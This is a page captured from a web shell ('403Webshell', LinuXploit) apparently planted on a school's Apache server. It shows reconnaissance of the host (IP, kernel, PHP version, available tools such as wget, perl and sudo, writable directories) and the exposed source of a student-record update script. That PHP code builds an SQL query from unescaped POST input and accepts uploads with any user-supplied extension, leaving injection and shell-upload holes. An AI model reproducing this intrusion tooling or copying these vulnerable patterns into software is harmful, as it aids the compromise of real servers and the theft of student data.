403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/students/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa/students/action_update.php
<?php
include_once('../config/configuser.inc.php');
$cllass  =$objResult["cllass"];
include_once('./function.php');
$objCon = connectDB();

$data = $_POST;
// print_r($data);
$c_prefix = $data['prefix'];
$c_firstname = $data['Name'];
$c_lastname = $data['surname'];
$c_idcard = $data['c_idcard'];
$c_birthdate = $data['c_birthdate'];
$c_mobile = $data['c_mobile'];
$c_detail = $data['c_detail'];
$c_id = $data['c_id'];
$class = 'm3';



$output_dir = 'images/'; // folder
if (!is_array($_FILES["c_image"]["name"])) {
    $exts = explode('.', $_FILES["c_image"]["name"]);
    $ext = $exts[count($exts) - 1]; // get ext image ex. jpeg, jpg, png
    $fileName = $c_id. '_' .date("YmdHis") . '_' . randomString() . "." . $ext;
    if (file_exists($output_dir . $fileName)) {
        $fileName = $fileName = date("YmdHis") . '_' . randomString() . "." . $ext;
    }
    $c_image = $fileName; // set image value
    move_uploaded_file($_FILES["c_image"]["tmp_name"], $output_dir . $cllass. '/' . $fileName);

    $strSQL = "UPDATE klw SET 
        
        c_image = '$c_image'
    WHERE Username = $c_id";
}

$objQuery = mysqli_query($objCon, $strSQL);
if ($objQuery) {
    echo '<script>alert("บันทึกการแก้ไขแล้ว");window.location="user_page.php";</script>';
} else {
    echo '<script>alert("พบข้อผิดพลาด!!");window.location="update.php?c_id=' . $c_id . '";</script>';
}

Youez - 2016 - github.com/yon3zu
LinuXploit